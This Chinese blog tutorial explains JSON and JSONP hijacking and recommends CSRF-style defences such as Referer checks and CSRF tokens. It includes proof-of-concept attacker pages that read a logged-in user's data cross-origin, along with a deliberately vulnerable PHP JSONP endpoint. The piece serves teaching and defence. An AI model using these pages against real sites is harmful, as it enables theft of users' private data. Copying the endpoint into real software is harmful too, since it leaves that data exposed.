详解JSON和JSONP劫持以及解决方法


Posted in Javascript onMarch 08, 2019

json劫持

json劫持攻击又为”JSON Hijacking”,攻击过程有点类似于csrf,只不过csrf只管发送http请求,但是json-hijack的目的是获取敏感数据。

一些web应用会把一些敏感数据以json的形式返回到前端,如果仅仅通过cookie来判断请求是否合法,那么就可以利用类似csrf的手段,向目标服务器发送请求,以获得敏感数据。

比如下面的链接在已登录的情况下会返回json格式的用户信息:

http://www.test.com/userinfo

攻击者可以在自己的虚假页面中,加入如下标签:

<script src="http://www.test.com/userinfo"></script>

如果当前浏览器已经登录了www.test.com,并且cookie未过期,然后访问了攻击者的虚假页面,那么该页面就可以拿到json形式的用户敏感信息,因为script标签会自动解析json数据,生成对应的js对象。然后再通过

Object.prototype.__defineSetter__

这个函数来触发自己的恶意代码。

但是这个函数在当前的新版本chrome和firefox中都已经失效了。

jsonp劫持

jsonp是一个非官方的协议,利用script元素的开放策略,网页可以得到从其他来源动态产生的json数据,因此可以用来实现跨域。(关于JSONP可以参考我的博文:https://3water.com/article/31167.htm)

web程序如果通过这种方式跨域之后,攻击者完全可以在自己的虚假页面中发起恶意的jsonp请求,这就引来了安全问题。比如:

<script>
function useUserInfo(v){
  alert(v.username);
}
</script>
<script src="http://www.test.com/userinfo?callback=useUserInfo"></script>

如果服务器端的userinfo接口支持jsonp,那就会使虚假页面成功执行useUserInfo函数,从而导致安全问题。

解决方法

其实json劫持和jsonp劫持属于CSRF( Cross-site request forgery 跨站请求伪造)的攻击范畴,所以解决的方法和解决csrf的方法一样。

1、验证 HTTP Referer 头信息;
2、在请求中添加 csrfToken 并在后端进行验证;

关于CSRF攻击可以参考我的博文:https://3water.com/article/157550.htm 

PS:JSONP劫持漏洞实例

getUser.php

<?php
header('Content-type: application/json');
$jsoncallback = htmlspecialchars($_REQUEST ['jsoncallback']);//获取回调函数名
//json数据
//$json_data = '["id","user"]';
$json_data='({"id":"1","name":"Aaron"})';
echo $jsoncallback . "(" . $json_data . ")";//输出jsonp格式的数据
?>

Payload利用:

客户端实现 callbackFunction 函数

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>JSONP劫持测试</title>
</head>
<body>
<script type="text/javascript">
function callbackFunction(result)
    {
      alert(result.name);
    }
</script>
<script type="text/javascript" src="http://127.0.0.1/test/getUser.php?jsoncallback=callbackFunction"></script>
</body>
</html>

jQuery 使用 JSONP

<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <title>JSONP劫持测试</title>
  <script src="http://cdn.static.runoob.com/libs/jquery/1.8.3/jquery.js"></script>  
</head>
<body>
<div id="divCustomers"></div>

<script type="text/javascript">  
  $.getJSON("http://127.0.0.1/test/getUser.php?jsoncallback=?", function(getUsers){
     alert(getUsers.name);
  });
</script>
</body>
</html>

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。权声明:本文为博主原创文章,转载请附上博文链接!

Javascript 相关文章推荐
Web版彷 Visual Studio 2003 颜色选择器
Jan 09 Javascript
jquery click([data],fn)使用方法实例介绍
Jul 08 Javascript
JSuggest自动匹配下拉框使用方法(示例代码)
Dec 27 Javascript
代码获取历史上的今天发生的事
Apr 11 Javascript
AngularJs表单校验功能实例代码
Feb 09 Javascript
轻松学习Javascript闭包
Mar 01 Javascript
详解react如何在组件中获取路由参数
Jun 15 Javascript
详解jQuery中关于Ajax的几个常用的函数
Jul 17 jQuery
javaScript日期工具类DateUtils详解
Dec 08 Javascript
JS表单传值和URL编码转换
Mar 03 Javascript
在vue项目中promise解决回调地狱和并发请求的问题
Nov 09 Javascript
jquery插件实现代码雨特效
Apr 24 jQuery
Node.js Event Loop各阶段讲解
Mar 08 #Javascript
vue基础之data存储数据及v-for循环用法示例
Mar 08 #Javascript
vue.js使用v-model实现表单元素(input) 双向数据绑定功能示例
Mar 08 #Javascript
JavaScript解析机制与闭包原理实例详解
Mar 08 #Javascript
零基础之Node.js搭建API服务器的详解
Mar 08 #Javascript
详解vue项目中使用token的身份验证的简单实践
Mar 08 #Javascript
Javascript之高级数组API的使用实例
Mar 08 #Javascript
You might like
php中url函数介绍及使用示例
2014/02/13 PHP
文本框倒叙输入让输入框的焦点始终在最开始的位置
2014/09/01 Javascript
node.js中的Socket.IO使用实例
2014/11/04 Javascript
angular2使用简单介绍
2016/03/01 Javascript
浅析JS中对函数function的理解(基础篇)
2016/10/14 Javascript
nodejs中全局变量的实例解析
2017/03/07 NodeJs
vue 实现的树形菜的实例代码
2018/03/19 Javascript
koa-router路由参数和前端路由的结合详解
2019/05/19 Javascript
JS利用prototype给类添加方法操作详解
2019/06/21 Javascript
Vue-router 报错NavigationDuplicated的解决方法
2020/03/31 Javascript
webpack3.0升级4.0的方法步骤
2020/04/02 Javascript
jQuery+Ajax+js实现请求json格式数据并渲染到html页面操作示例
2020/06/02 jQuery
详解node.js创建一个web服务器(Server)的详细步骤
2021/01/15 Javascript
[46:00]DOTA2上海特级锦标赛主赛事日 - 2 胜者组第一轮#4EG VS Fnatic第一局
2016/03/03 DOTA
[51:14]LGD vs VP 2018国际邀请赛淘汰赛BO3 第一场 8.21
2018/08/22 DOTA
python 保存float类型的小数的位数方法
2018/10/17 Python
用Python画小女孩放风筝的示例
2019/11/23 Python
基于Python数据结构之递归与回溯搜索
2020/02/26 Python
Pytorch 高效使用GPU的操作
2020/06/27 Python
用python写PDF转换器的实现
2020/10/29 Python
特教教师先进事迹
2014/05/21 职场文书
求职信范文大全
2014/05/26 职场文书
项目经理任命书内容
2014/06/06 职场文书
产品陈列协议书(标准版)
2014/09/17 职场文书
企业授权委托书范本
2014/09/22 职场文书
2014年医院后勤工作总结
2014/12/06 职场文书
2015年网络管理员工作总结
2015/05/21 职场文书
成绩单家长意见
2015/06/03 职场文书
暑期工社会实践报告
2015/07/13 职场文书
幼儿园老师新年寄语
2015/08/17 职场文书
心得体会该怎么写呢?
2019/06/27 职场文书
如何制定销售人员薪酬制度?
2019/07/09 职场文书
win10+anaconda安装yolov5的方法及问题解决方案
2021/04/29 Python
关于CSS浮动与取消浮动的问题
2021/06/28 HTML / CSS
zabbix配置nginx监控的实现
2022/05/25 Servers
MySQL中的 inner join 和 left join的区别解析(小结果集驱动大结果集)
2023/05/08 MySQL